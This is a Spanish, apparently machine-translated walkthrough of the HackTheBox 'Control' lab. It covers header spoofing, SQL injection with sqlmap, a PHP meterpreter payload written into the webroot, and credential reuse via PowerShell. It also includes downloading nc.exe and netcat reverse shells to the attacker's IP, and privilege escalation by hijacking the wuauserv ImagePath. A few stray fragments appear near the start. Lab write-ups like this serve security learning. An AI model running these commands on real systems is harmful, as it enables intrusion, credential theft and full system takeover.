Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox .En este artículo, penetramos en el sistema a través de la inyección SQL, profundizamos en el historial de la línea de comandos y aumentamos nuestros privilegios gracias a los derechos del servicio.La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora del trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)Información organizacional, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina tiene una dirección IP 10.10.10.167, que agrego a / etc / hosts.10.10.10.167 control.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 1000 paquetes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167 --rate=1000
Ahora, para obtener información más detallada sobre los servicios que operan en los puertos, realizaremos un análisis con la opción -A.nmap -A control.htb -p80,135,3306,49667,49666
El host está ejecutando un servidor web. Veamos que hay ahí.
Y vemos que hay un enlace al panel de administración. Pero se nos informa que no hay encabezado y debemos contactarnos a través de un proxy.
Al mismo tiempo, en el código fuente de la página de inicio, encontramos el mensaje:
Al comparar lo que necesita para usar el proxy y la dirección encontrada, asumimos que necesita revisarlo. El proxy se muestra en el protocolo HTTP en el encabezado x-forwards-for. Vamos a exponerlo.
Y vamos con éxito a la página de administración. Vamos a través del navegador.
Pero cuando intentas hacer algo, nos arrojarán a una página con un mensaje proxy. Esto se debe a que no estamos sustituyendo el encabezado encontrado. Para no hacer esto siempre en Burp Suite, en la pestaña Proxy -> Opciones, encontramos la función "Emparejar y reemplazar".
Y agregue una nueva entrada que agregará automáticamente este encabezado a todas las solicitudes salientes.
Y probando el campo de búsqueda encontramos la inyección SQL.
Para la operación usamos sqlmap. Guardemos esta solicitud en un archivo (Copiar en archivo) y ejecutemos sqlmap, pasando este archivo como parámetro.sqlmap -r headers.req
Punto de entradaVeamos qué bases de datos están disponibles.sqlmap -r headers.req --dbs
Veamos qué credenciales están disponibles. Veamos todas las tablas en la base de datos mysql.sqlmap -r headers.req -D mysql --tables
Entonces estamos interesados en la tabla de usuarios. Consigamos los nombres de todas las columnas.sqlmap -r headers.req -D mysql -T user --columns
De todas las columnas, las más interesantes son Usuario y Contraseña. Aprendemos lo que hay en ellos.sqlmap -r headers.req -D mysql -T user -C User,Password --dump
La base de datos contiene varios usuarios. Sqlmap ofrece descifrar hashes. Seleccionamos un ataque de diccionario, indicamos que queremos usar nuestro diccionario y escribimos la ruta a rockyou.
Después de unos segundos, se nos proporcionará una tabla con nombres de usuario y hash de sus contraseñas. Si sqlmap pudo descifrar la contraseña, la indicará junto al hash entre paréntesis. Como puede ver, tenemos las credenciales del usuario hector.
No pude obtener el shell usando sqlmap, pero escribiendo archivos. Publiquemos la web recorrida. Primero, generamos la carga de meterpreter en formato PHP.msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
Ahora escríbalo usando sqlmap en el directorio del servidor web.sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php
El archivo fue escrito con éxito. Ejecuta el oyente.
Y recurra a su archivo en el servidor web.curl http://control.htb/r.php
En la ventana Metasploit, observamos una conexión exitosa.
Ve a esta sesión.
Pero aquí está el problema, no podemos ejecutar comandos a través del shell. Además, tales intentos restablecen la conexión. Intentemos evitar el bloqueo creando un proceso de PowerShell en modo interactivo (-i) oculto a la vista (-H) pasando nuestro comando como parámetros (-a). Veamos en qué usuario estamos trabajando.
USUARIO
Tenemos credenciales de Héctor, descubriremos si existe tal usuario en el sistema.
¡Hay tal usuario! Pero primero, averigua el nombre del auto.
Tenemos nombre de usuario, contraseña, dominio y nombre de la máquina. Ahora verifiquemos si las credenciales que recibimos son adecuadas. Para hacer esto, ejecute "whoami" en nombre de Héctor.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H
Multa. Vamos a buscar el caparazón. Ejecute el servidor web en el host local.python3 -m http.server 80
Y subir al host remoto de Netcat.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H
Ahora abra el puerto 5432. nc -lvp 5432 y realice la conexión inversa desde el host remoto.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H
Entonces tomamos al usuario.
RAÍZ
Además, cuando intentamos cargar uno de los medios para recopilar información del host al host (como BloodHound , PowerUp , JAWS , WinPEAS ), notamos que el defensor los elimina. Pero WinPEAS tiene una versión bat que no se puede desinstalar. Lo subimos al host y lo ejecutamos. Además, solo es necesario revisar cuidadosamente la información recopilada. Y encontramos un archivo interesante ConsoleHost_history.txt.
Mira lo que contiene.
Estos equipos son lo único que tenemos. El cmdlet Get-Acl recupera objetos que representan un descriptor de seguridad para un archivo o recurso. El descriptor de seguridad contiene listas de control de acceso a recursos (ACL). La ACL contiene los permisos requeridos por los usuarios y grupos de usuarios para acceder al recurso. Por lo tanto, decidí que el camino de la solución radica en los servicios y el acceso a ellos. Consigamos todos los servicios y permisos de Héctor para ellos.get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"
Mirando a través de la salida, notamos que Héctor tiene todos los derechos sobre el servicio de actualización de Windows: wuauserv.
Los servicios en el sistema operativo Windows se ejecutan con privilegios del sistema. Al registrar un servicio en el sistema, la ruta al ejecutable del servicio está protegida en el atributo ImagePath. Cambiemos el valor de este atributo y carguemos el shell.reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"
Ahora inicie el servicio de actualización.start-service wuauserv
Y obtenemos un shell con máximos privilegios.
Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos combinados, así como software. Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.